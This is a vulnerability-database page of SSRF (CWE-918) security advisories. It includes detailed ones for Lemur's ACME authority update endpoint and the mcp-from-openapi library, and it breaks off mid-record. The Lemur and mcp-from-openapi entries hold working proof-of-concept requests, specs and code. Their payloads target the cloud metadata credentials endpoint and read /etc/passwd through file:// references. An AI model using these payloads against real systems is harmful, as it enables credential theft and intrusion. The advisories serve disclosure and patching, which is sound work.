CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6243 vulnerabilities reference this CWE, most recent first.
GHSA-V5RC-CPWC-CFPR
Vulnerability from github – Published: 2026-08-18 20:51 – Updated: 2026-08-18 20:51Summary
The fix for GHSA-v2wp-frmc-5q3v added _validate_acme_url() to reject acme_url values not in ACME_DIRECTORY_HOST_ALLOWLIST, but the validation is only called at authority creation time (POST). The authority update endpoint (PUT /api/1/authorities/<id>) accepts and stores arbitrary options -- including a modified acme_url -- without invoking the allowlist check. Any user with an authority role (granted by an admin to allow issuing certificates via that authority) can therefore overwrite the stored acme_url with an internal IP or IMDS endpoint. The next certificate issuance via that authority causes Lemur's backend to fetch the attacker-controlled URL, achieving SSRF.
Details
Where the fix lives (POST path -- protected):
lemur/plugins/lemur_acme/plugin.py lines 333-337 (ACMEIssuerPlugin.create_authority):
for option in plugin_options:
if option.get("name") == "certificate":
acme_root = option.get("value")
if option.get("name") == "acme_url":
_validate_acme_url(option.get("value", "")) # allowlist enforced
_validate_acme_url at line 35:
def _validate_acme_url(url):
"""Reject acme_url values that are not in the configured allowlist.
Called at authority creation time only -- existing authorities in the DB
were already trusted when they were created and are not re-validated.
"""
allowed_hosts = current_app.config.get(
"ACME_DIRECTORY_HOST_ALLOWLIST",
{"acme-v02.api.letsencrypt.org", ...},
)
parsed = urlparse(url)
if parsed.scheme != "https" or parsed.hostname not in allowed_hosts:
raise InvalidConfiguration(...)
Where the gap is (PUT path -- unprotected):
lemur/authorities/views.py lines 405-424 (Authorities.put):
authority = service.get(authority_id)
roles = [x.name for x in authority.roles]
permission = AuthorityPermission(authority_id, roles)
if not permission.can() or not StrictRolePermission().can():
return dict(message="You are not authorized to update this authority."), 403
return service.update(
authority_id,
owner=data["owner"],
description=data["description"],
active=data["active"],
roles=data["roles"],
options=data.get("options") # stored verbatim -- no ACME URL check
)
lemur/authorities/service.py lines 28-46 (update):
def update(authority_id, description, owner, active, roles, options=None):
authority = get(authority_id)
authority.roles = roles
authority.active = active
authority.description = description
authority.owner = owner
if options:
authority.options = options # written to DB with no _validate_acme_url call
return database.update(authority)
Where the SSRF sink is:
lemur/plugins/lemur_acme/acme_handlers.py lines 157-188:
for option in json.loads(authority.options):
options[option["name"]] = option.get("value")
directory_url = options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL"))
...
directory = ClientV2.get_directory(directory_url, net) # outbound HTTP to stored URL
With the default configuration (LEMUR_STRICT_ROLE_ENFORCEMENT = False, reverted in 1.9.2 per the GHSA-qcqw-jwxc-2hqg correction), StrictRolePermission().can() passes for any non-read-only user. Any user granted membership in an authority's role group by an admin can therefore call PUT /api/1/authorities/<id> to overwrite acme_url with an arbitrary URL. The allowlist enforced at creation is silently discarded.
PoC
Prerequisites:
- Lemur 1.9.2, default config (LEMUR_STRICT_ROLE_ENFORCEMENT not set, defaults to False)
- Admin grants non-admin user membership in an ACME authority's role (normal operational step to allow certificate issuance)
- Attacker has a valid Lemur session token
Step 1 -- Authenticate as the non-admin user (role: TestRootCA_operator):
POST /api/1/auth/login HTTP/1.1
Host: lemur.example.com
Content-Type: application/json
{"username": "alice", "password": "..."}
Response (truncated):
{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
Step 2 -- Confirm identity (non-admin, no global operator role):
GET /api/1/auth/me HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Response:
{"username": "alice", "id": 2, "roles": [{"name": "TestRootCA_operator"}]}
Step 3 -- Overwrite acme_url with an internal IMDS endpoint via authority update:
PUT /api/1/authorities/1 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json
{
"owner": "security@example.com",
"description": "Let's Encrypt Production",
"active": true,
"roles": [{"id": 5}, {"id": 6}, {"id": 7}],
"options": "[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"
}
Response (HTTP 200 -- no validation error):
{
"id": 1,
"name": "TestRootCA",
"description": "Let's Encrypt Production",
"options": [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}],
...
}
Live validation output (observed on Lemur 1.9.2, 2026-06-19):
User: nonadvuln | ID: 2 | Roles: ['TestRootCA_operator']
PUT /api/1/authorities/1 -> HTTP 200
stored options: [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}]
DB confirm (psql):
SELECT options FROM authorities WHERE id=1;
"[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"
Step 4 -- Trigger SSRF:
Issue any certificate via authority 1 (using the same or any other user with certificate issuance rights). Lemur's celery worker calls AcmeHandler.setup_acme_client(), which executes:
directory_url = options.get("acme_url", ...) # reads stored malicious URL
directory = ClientV2.get_directory(directory_url, net) # outbound request
The backend issues an HTTP GET to http://169.254.169.254/latest/meta-data/, achieving SSRF to the instance metadata service (or any other internal endpoint the Lemur host can reach).
Suggested fix:
Call _validate_acme_url() inside service.update() (or in Authorities.put) whenever the options field is provided and the authority uses an ACME-based issuer plugin:
# in lemur/authorities/service.py update()
if options:
from lemur.plugins.lemur_acme.plugin import _validate_acme_url
import json
for opt in json.loads(options) if isinstance(options, str) else options:
if opt.get("name") == "acme_url":
_validate_acme_url(opt.get("value", ""))
authority.options = options
Impact
An authenticated Lemur user who has been granted membership in any ACME authority's role group can overwrite that authority's acme_url with an arbitrary URL, bypassing the ACME_DIRECTORY_HOST_ALLOWLIST enforced at creation time. On the next certificate issuance via that authority, Lemur's backend issues an outbound HTTP request to the attacker-controlled URL. In cloud-hosted deployments this allows reading the instance metadata service (AWS IMDSv1, GCP metadata server, Azure IMDS), potentially yielding IAM credentials or other sensitive instance data. In on-premises or private-cloud deployments this allows probing internal services that the Lemur server can reach but external callers cannot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.9.2"
},
"package": {
"ecosystem": "PyPI",
"name": "lemur"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-71303"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T20:51:21Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe fix for GHSA-v2wp-frmc-5q3v added `_validate_acme_url()` to reject `acme_url` values not in `ACME_DIRECTORY_HOST_ALLOWLIST`, but the validation is only called at **authority creation time** (POST). The authority **update** endpoint (`PUT /api/1/authorities/\u003cid\u003e`) accepts and stores arbitrary `options` -- including a modified `acme_url` -- without invoking the allowlist check. Any user with an authority role (granted by an admin to allow issuing certificates via that authority) can therefore overwrite the stored `acme_url` with an internal IP or IMDS endpoint. The next certificate issuance via that authority causes Lemur\u0027s backend to fetch the attacker-controlled URL, achieving SSRF.\n\n### Details\n\n**Where the fix lives (POST path -- protected):**\n\n`lemur/plugins/lemur_acme/plugin.py` lines 333-337 (ACMEIssuerPlugin.create_authority):\n```python\nfor option in plugin_options:\n if option.get(\"name\") == \"certificate\":\n acme_root = option.get(\"value\")\n if option.get(\"name\") == \"acme_url\":\n _validate_acme_url(option.get(\"value\", \"\")) # allowlist enforced\n```\n\n`_validate_acme_url` at line 35:\n```python\ndef _validate_acme_url(url):\n \"\"\"Reject acme_url values that are not in the configured allowlist.\n\n Called at authority creation time only -- existing authorities in the DB\n were already trusted when they were created and are not re-validated.\n \"\"\"\n allowed_hosts = current_app.config.get(\n \"ACME_DIRECTORY_HOST_ALLOWLIST\",\n {\"acme-v02.api.letsencrypt.org\", ...},\n )\n parsed = urlparse(url)\n if parsed.scheme != \"https\" or parsed.hostname not in allowed_hosts:\n raise InvalidConfiguration(...)\n```\n\n**Where the gap is (PUT path -- unprotected):**\n\n`lemur/authorities/views.py` lines 405-424 (`Authorities.put`):\n```python\nauthority = service.get(authority_id)\nroles = [x.name for x in authority.roles]\npermission = AuthorityPermission(authority_id, roles)\n\nif not permission.can() or not StrictRolePermission().can():\n return dict(message=\"You are not authorized to update this authority.\"), 403\n\nreturn service.update(\n authority_id,\n owner=data[\"owner\"],\n description=data[\"description\"],\n active=data[\"active\"],\n roles=data[\"roles\"],\n options=data.get(\"options\") # stored verbatim -- no ACME URL check\n)\n```\n\n`lemur/authorities/service.py` lines 28-46 (`update`):\n```python\ndef update(authority_id, description, owner, active, roles, options=None):\n authority = get(authority_id)\n authority.roles = roles\n authority.active = active\n authority.description = description\n authority.owner = owner\n if options:\n authority.options = options # written to DB with no _validate_acme_url call\n return database.update(authority)\n```\n\n**Where the SSRF sink is:**\n\n`lemur/plugins/lemur_acme/acme_handlers.py` lines 157-188:\n```python\nfor option in json.loads(authority.options):\n options[option[\"name\"]] = option.get(\"value\")\ndirectory_url = options.get(\"acme_url\", current_app.config.get(\"ACME_DIRECTORY_URL\"))\n...\ndirectory = ClientV2.get_directory(directory_url, net) # outbound HTTP to stored URL\n```\n\nWith the default configuration (`LEMUR_STRICT_ROLE_ENFORCEMENT = False`, reverted in 1.9.2 per the GHSA-qcqw-jwxc-2hqg correction), `StrictRolePermission().can()` passes for any non-read-only user. Any user granted membership in an authority\u0027s role group by an admin can therefore call `PUT /api/1/authorities/\u003cid\u003e` to overwrite `acme_url` with an arbitrary URL. The allowlist enforced at creation is silently discarded.\n\n### PoC\n\n**Prerequisites:**\n- Lemur 1.9.2, default config (`LEMUR_STRICT_ROLE_ENFORCEMENT` not set, defaults to `False`)\n- Admin grants non-admin user membership in an ACME authority\u0027s role (normal operational step to allow certificate issuance)\n- Attacker has a valid Lemur session token\n\n**Step 1 -- Authenticate as the non-admin user (role: TestRootCA_operator):**\n\n```\nPOST /api/1/auth/login HTTP/1.1\nHost: lemur.example.com\nContent-Type: application/json\n\n{\"username\": \"alice\", \"password\": \"...\"}\n```\n\nResponse (truncated):\n```json\n{\"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\"}\n```\n\n**Step 2 -- Confirm identity (non-admin, no global operator role):**\n\n```\nGET /api/1/auth/me HTTP/1.1\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\n```\n\nResponse:\n```json\n{\"username\": \"alice\", \"id\": 2, \"roles\": [{\"name\": \"TestRootCA_operator\"}]}\n```\n\n**Step 3 -- Overwrite acme_url with an internal IMDS endpoint via authority update:**\n\n```\nPUT /api/1/authorities/1 HTTP/1.1\nHost: lemur.example.com\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\nContent-Type: application/json\n\n{\n \"owner\": \"security@example.com\",\n \"description\": \"Let\u0027s Encrypt Production\",\n \"active\": true,\n \"roles\": [{\"id\": 5}, {\"id\": 6}, {\"id\": 7}],\n \"options\": \"[{\\\"name\\\": \\\"acme_url\\\", \\\"value\\\": \\\"http://169.254.169.254/latest/meta-data/\\\"}]\"\n}\n```\n\nResponse (HTTP 200 -- no validation error):\n```json\n{\n \"id\": 1,\n \"name\": \"TestRootCA\",\n \"description\": \"Let\u0027s Encrypt Production\",\n \"options\": [{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}],\n ...\n}\n```\n\n**Live validation output (observed on Lemur 1.9.2, 2026-06-19):**\n\n```\nUser: nonadvuln | ID: 2 | Roles: [\u0027TestRootCA_operator\u0027]\n\nPUT /api/1/authorities/1 -\u003e HTTP 200\nstored options: [{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]\n\nDB confirm (psql):\nSELECT options FROM authorities WHERE id=1;\n\"[{\\\"name\\\": \\\"acme_url\\\", \\\"value\\\": \\\"http://169.254.169.254/latest/meta-data/\\\"}]\"\n```\n\n**Step 4 -- Trigger SSRF:**\n\nIssue any certificate via authority 1 (using the same or any other user with certificate issuance rights). Lemur\u0027s celery worker calls `AcmeHandler.setup_acme_client()`, which executes:\n\n```python\ndirectory_url = options.get(\"acme_url\", ...) # reads stored malicious URL\ndirectory = ClientV2.get_directory(directory_url, net) # outbound request\n```\n\nThe backend issues an HTTP GET to `http://169.254.169.254/latest/meta-data/`, achieving SSRF to the instance metadata service (or any other internal endpoint the Lemur host can reach).\n\n**Suggested fix:**\n\nCall `_validate_acme_url()` inside `service.update()` (or in `Authorities.put`) whenever the `options` field is provided and the authority uses an ACME-based issuer plugin:\n\n```python\n# in lemur/authorities/service.py update()\nif options:\n from lemur.plugins.lemur_acme.plugin import _validate_acme_url\n import json\n for opt in json.loads(options) if isinstance(options, str) else options:\n if opt.get(\"name\") == \"acme_url\":\n _validate_acme_url(opt.get(\"value\", \"\"))\n authority.options = options\n```\n\n### Impact\n\nAn authenticated Lemur user who has been granted membership in any ACME authority\u0027s role group can overwrite that authority\u0027s `acme_url` with an arbitrary URL, bypassing the `ACME_DIRECTORY_HOST_ALLOWLIST` enforced at creation time. On the next certificate issuance via that authority, Lemur\u0027s backend issues an outbound HTTP request to the attacker-controlled URL. In cloud-hosted deployments this allows reading the instance metadata service (AWS IMDSv1, GCP metadata server, Azure IMDS), potentially yielding IAM credentials or other sensitive instance data. In on-premises or private-cloud deployments this allows probing internal services that the Lemur server can reach but external callers cannot.",
"id": "GHSA-v5rc-cpwc-cfpr",
"modified": "2026-08-18T20:51:21Z",
"published": "2026-08-18T20:51:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/security/advisories/GHSA-v5rc-cpwc-cfpr"
},
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/commit/edca0390f930344d65ff4ca37a669c2320e3dfad"
},
{
"type": "PACKAGE",
"url": "https://github.com/Netflix/lemur"
},
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/releases/tag/v1.9.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Lemur: Incomplete fix for GHSA-v2wp-frmc-5q3v -- ACME authority update endpoint allows non-admin to replace `acme_url` with internal IP, bypassing allowlist"
}
GHSA-V623-92C3-F29P
Vulnerability from github – Published: 2025-01-17 21:31 – Updated: 2025-01-18 00:30OtCMS <=V7.46 is vulnerable to Server-Side Request Forgery (SSRF) in /admin/read.php, which can Read system files arbitrarily.
{
"affected": [],
"aliases": [
"CVE-2024-57252"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-17T21:15:10Z",
"severity": "MODERATE"
},
"details": "OtCMS \u003c=V7.46 is vulnerable to Server-Side Request Forgery (SSRF) in /admin/read.php, which can Read system files arbitrarily.",
"id": "GHSA-v623-92c3-f29p",
"modified": "2025-01-18T00:30:48Z",
"published": "2025-01-17T21:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57252"
},
{
"type": "WEB",
"url": "https://github.com/J-0k3r/CVE-2024-57252"
},
{
"type": "WEB",
"url": "https://github.com/J-0k3r/some/blob/main/ssrf.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V64R-4M7R-3MVQ
Vulnerability from github – Published: 2026-08-05 16:04 – Updated: 2026-08-05 16:04Impact
When following HTTP redirects, net.fetch() and net.request() did not restrict which schemes a redirect could target. A remote server could redirect a request to a local resource, and if the app returns or forwards the response body, local file contents could be disclosed.
Apps are only affected if they make net requests to attacker-influenced URLs with redirects followed (the default) and expose the response body. Apps that only request fixed, trusted URLs are not affected.
Workarounds
Set redirect: 'error' or redirect: 'manual' on requests to untrusted URLs and validate any redirect target before following it.
Fixed Versions
42.0.0-beta.341.2.140.9.039.8.8
For more information
If you have any questions or comments about this advisory, email Electron at security@electronjs.org
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "39.8.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 40.9.0"
},
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "40.0.0-alpha.1"
},
{
"fixed": "40.9.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "41.0.0-alpha.1"
},
{
"fixed": "41.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "42.0.0-alpha.1"
},
{
"fixed": "42.0.0-beta.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-70605"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-05T16:04:09Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\nWhen following HTTP redirects, `net.fetch()` and `net.request()` did not restrict which schemes a redirect could target. A remote server could redirect a request to a local resource, and if the app returns or forwards the response body, local file contents could be disclosed.\n\nApps are only affected if they make `net` requests to attacker-influenced URLs with redirects followed (the default) and expose the response body. Apps that only request fixed, trusted URLs are not affected.\n\n### Workarounds\nSet `redirect: \u0027error\u0027` or `redirect: \u0027manual\u0027` on requests to untrusted URLs and validate any redirect target before following it.\n\n### Fixed Versions\n* `42.0.0-beta.3`\n* `41.2.1`\n* `40.9.0`\n* `39.8.8`\n\n### For more information\nIf you have any questions or comments about this advisory, email Electron at [security@electronjs.org](mailto:security@electronjs.org)",
"id": "GHSA-v64r-4m7r-3mvq",
"modified": "2026-08-05T16:04:09Z",
"published": "2026-08-05T16:04:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/electron/electron/security/advisories/GHSA-v64r-4m7r-3mvq"
},
{
"type": "PACKAGE",
"url": "https://github.com/electron/electron"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Electron: HTTP redirect followed into local file loader"
}
GHSA-V6HF-4FPR-7XXC
Vulnerability from github – Published: 2022-10-18 12:00 – Updated: 2022-10-20 19:00kkFileView 4.0 is vulnerable to Server-side request forgery (SSRF) via controller\OnlinePreviewController.java.
{
"affected": [],
"aliases": [
"CVE-2022-42149"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-17T20:15:00Z",
"severity": "CRITICAL"
},
"details": "kkFileView 4.0 is vulnerable to Server-side request forgery (SSRF) via controller\\OnlinePreviewController.java.",
"id": "GHSA-v6hf-4fpr-7xxc",
"modified": "2022-10-20T19:00:32Z",
"published": "2022-10-18T12:00:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42149"
},
{
"type": "WEB",
"url": "https://github.com/xiaojiangxl/paper/blob/main/kkFileView/ssrf_vul_en.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V6HG-MV73-76VG
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-24 21:31Server-Side Request Forgery (SSRF) vulnerability in Burhan Nasir Smart Auto Upload Images smart-auto-upload-images allows Server Side Request Forgery.This issue affects Smart Auto Upload Images: from n/a through <= 1.2.2.
{
"affected": [],
"aliases": [
"CVE-2026-23803"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T09:16:13Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Burhan Nasir Smart Auto Upload Images smart-auto-upload-images allows Server Side Request Forgery.This issue affects Smart Auto Upload Images: from n/a through \u003c= 1.2.2.",
"id": "GHSA-v6hg-mv73-76vg",
"modified": "2026-02-24T21:31:32Z",
"published": "2026-02-19T18:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23803"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/smart-auto-upload-images/vulnerability/wordpress-smart-auto-upload-images-plugin-1-2-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V6PH-XCQ9-QXXJ
Vulnerability from github – Published: 2026-04-08 19:22 – Updated: 2026-04-09 14:29Summary
The mcp-from-openapi library uses @apidevtools/json-schema-ref-parser to dereference $ref pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing $ref values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the initialize() call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.
Affected Versions
<= 2.1.2 (latest)
CWE
CWE-918: Server-Side Request Forgery (SSRF)
Vulnerability Details
File: index.js lines 870-875
When OpenAPIToolGenerator.initialize() is called, it dereferences the OpenAPI document using json-schema-ref-parser:
this.dereferencedDocument = await import_json_schema_ref_parser.default.dereference(
JSON.parse(JSON.stringify(this.document))
);
No options are passed to .dereference() — no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in $ref values, including:
http://andhttps://URLs (internal services, cloud metadata)file://URLs (local filesystem)
This is the default behavior of json-schema-ref-parser — it resolves all $ref pointers by fetching the referenced resource.
Exploitation
Attack 1: SSRF to internal services / cloud metadata
A malicious OpenAPI spec containing:
{
"openapi": "3.0.0",
"info": { "title": "Evil API", "version": "1.0" },
"paths": {
"/test": {
"get": {
"operationId": "getTest",
"summary": "test",
"responses": {
"200": {
"description": "OK",
"content": {
"application/json": {
"schema": {
"$ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
}
}
}
}
}
}
}
When processed by OpenAPIToolGenerator, the library fetches http://169.254.169.254/latest/meta-data/iam/security-credentials/ from the server, potentially leaking AWS IAM credentials.
Attack 2: Local file read
{
"$ref": "file:///etc/passwd"
}
The ref parser reads local files and includes their contents in the dereferenced output.
Proof of Concept
const http = require('http');
const { OpenAPIToolGenerator } = require('mcp-from-openapi');
// Start attacker server to prove SSRF
const srv = http.createServer((req, res) => {
console.log(`SSRF HIT: ${req.method} ${req.url}`);
res.writeHead(200, {'Content-Type': 'application/json'});
res.end('{"type":"string"}');
});
srv.listen(9997, async () => {
const spec = {
openapi: '3.0.0',
info: { title: 'Evil', version: '1.0' },
paths: {
'/test': {
get: {
operationId: 'getTest',
summary: 'test',
responses: {
'200': {
description: 'OK',
content: {
'application/json': {
schema: { '$ref': 'http://127.0.0.1:9997/ssrf-proof' }
}
}
}
}
}
}
}
};
const gen = new OpenAPIToolGenerator(spec, { validate: false });
await gen.initialize();
// Output: "SSRF HIT: GET /ssrf-proof"
// The library fetched our attacker URL during $ref dereferencing.
srv.close();
});
Tested and confirmed on mcp-from-openapi v2.1.2. The attacker server receives the GET request during initialize().
Impact
- Cloud credential theft —
$refpointing tohttp://169.254.169.254/steals AWS/GCP/Azure metadata - Internal network scanning —
$refvalues can probe internal services and ports - Local file read —
file://protocol reads arbitrary files from the server filesystem - No privileges required — attacker only needs to provide a crafted OpenAPI spec to any application using this library
Suggested Fix
Pass resolver options to dereference() that restrict which protocols and hosts are allowed:
this.dereferencedDocument = await $RefParser.dereference(
JSON.parse(JSON.stringify(this.document)),
{
resolve: {
file: false, // Disable file:// protocol
http: {
// Only allow same-origin or explicitly allowed hosts
headers: this.options.headers,
timeout: this.options.timeout,
}
}
}
);
Or disable all external resolution and require all schemas to be inline:
this.dereferencedDocument = await $RefParser.dereference(
JSON.parse(JSON.stringify(this.document)),
{
resolve: { file: false, http: false, https: false }
}
);
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.2"
},
"package": {
"ecosystem": "npm",
"name": "mcp-from-openapi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.3"
},
"package": {
"ecosystem": "npm",
"name": "@frontmcp/sdk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.3"
},
"package": {
"ecosystem": "npm",
"name": "@frontmcp/adapters"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39885"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T19:22:53Z",
"nvd_published_at": "2026-04-08T21:17:00Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `mcp-from-openapi` library uses `@apidevtools/json-schema-ref-parser` to dereference `$ref` pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing `$ref` values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the `initialize()` call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.\n\n\n## Affected Versions\n\n`\u003c= 2.1.2` (latest)\n\n## CWE\n\nCWE-918: Server-Side Request Forgery (SSRF)\n\n## Vulnerability Details\n\n**File:** `index.js` lines 870-875\n\nWhen `OpenAPIToolGenerator.initialize()` is called, it dereferences the OpenAPI document using `json-schema-ref-parser`:\n\n```javascript\nthis.dereferencedDocument = await import_json_schema_ref_parser.default.dereference(\n JSON.parse(JSON.stringify(this.document))\n);\n```\n\nNo options are passed to `.dereference()` \u2014 no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in `$ref` values, including:\n\n- `http://` and `https://` URLs (internal services, cloud metadata)\n- `file://` URLs (local filesystem)\n\nThis is the default behavior of `json-schema-ref-parser` \u2014 it resolves all `$ref` pointers by fetching the referenced resource.\n\n## Exploitation\n\n### Attack 1: SSRF to internal services / cloud metadata\n\nA malicious OpenAPI spec containing:\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"Evil API\", \"version\": \"1.0\" },\n \"paths\": {\n \"/test\": {\n \"get\": {\n \"operationId\": \"getTest\",\n \"summary\": \"test\",\n \"responses\": {\n \"200\": {\n \"description\": \"OK\",\n \"content\": {\n \"application/json\": {\n \"schema\": {\n \"$ref\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n }\n }\n }\n }\n }\n }\n }\n }\n}\n```\n\nWhen processed by `OpenAPIToolGenerator`, the library fetches `http://169.254.169.254/latest/meta-data/iam/security-credentials/` from the server, potentially leaking AWS IAM credentials.\n\n### Attack 2: Local file read\n\n```json\n{\n \"$ref\": \"file:///etc/passwd\"\n}\n```\n\nThe ref parser reads local files and includes their contents in the dereferenced output.\n\n## Proof of Concept\n\n```javascript\nconst http = require(\u0027http\u0027);\nconst { OpenAPIToolGenerator } = require(\u0027mcp-from-openapi\u0027);\n\n// Start attacker server to prove SSRF\nconst srv = http.createServer((req, res) =\u003e {\n console.log(`SSRF HIT: ${req.method} ${req.url}`);\n res.writeHead(200, {\u0027Content-Type\u0027: \u0027application/json\u0027});\n res.end(\u0027{\"type\":\"string\"}\u0027);\n});\n\nsrv.listen(9997, async () =\u003e {\n const spec = {\n openapi: \u00273.0.0\u0027,\n info: { title: \u0027Evil\u0027, version: \u00271.0\u0027 },\n paths: {\n \u0027/test\u0027: {\n get: {\n operationId: \u0027getTest\u0027,\n summary: \u0027test\u0027,\n responses: {\n \u0027200\u0027: {\n description: \u0027OK\u0027,\n content: {\n \u0027application/json\u0027: {\n schema: { \u0027$ref\u0027: \u0027http://127.0.0.1:9997/ssrf-proof\u0027 }\n }\n }\n }\n }\n }\n }\n }\n };\n\n const gen = new OpenAPIToolGenerator(spec, { validate: false });\n await gen.initialize();\n // Output: \"SSRF HIT: GET /ssrf-proof\"\n // The library fetched our attacker URL during $ref dereferencing.\n\n srv.close();\n});\n```\n\n**Tested and confirmed** on mcp-from-openapi v2.1.2. The attacker server receives the GET request during `initialize()`.\n\n## Impact\n\n- **Cloud credential theft** \u2014 `$ref` pointing to `http://169.254.169.254/` steals AWS/GCP/Azure metadata\n- **Internal network scanning** \u2014 `$ref` values can probe internal services and ports\n- **Local file read** \u2014 `file://` protocol reads arbitrary files from the server filesystem\n- **No privileges required** \u2014 attacker only needs to provide a crafted OpenAPI spec to any application using this library\n\n## Suggested Fix\n\nPass resolver options to `dereference()` that restrict which protocols and hosts are allowed:\n\n```javascript\nthis.dereferencedDocument = await $RefParser.dereference(\n JSON.parse(JSON.stringify(this.document)),\n {\n resolve: {\n file: false, // Disable file:// protocol\n http: {\n // Only allow same-origin or explicitly allowed hosts\n headers: this.options.headers,\n timeout: this.options.timeout,\n }\n }\n }\n);\n```\n\nOr disable all external resolution and require all schemas to be inline:\n\n```javascript\nthis.dereferencedDocument = await 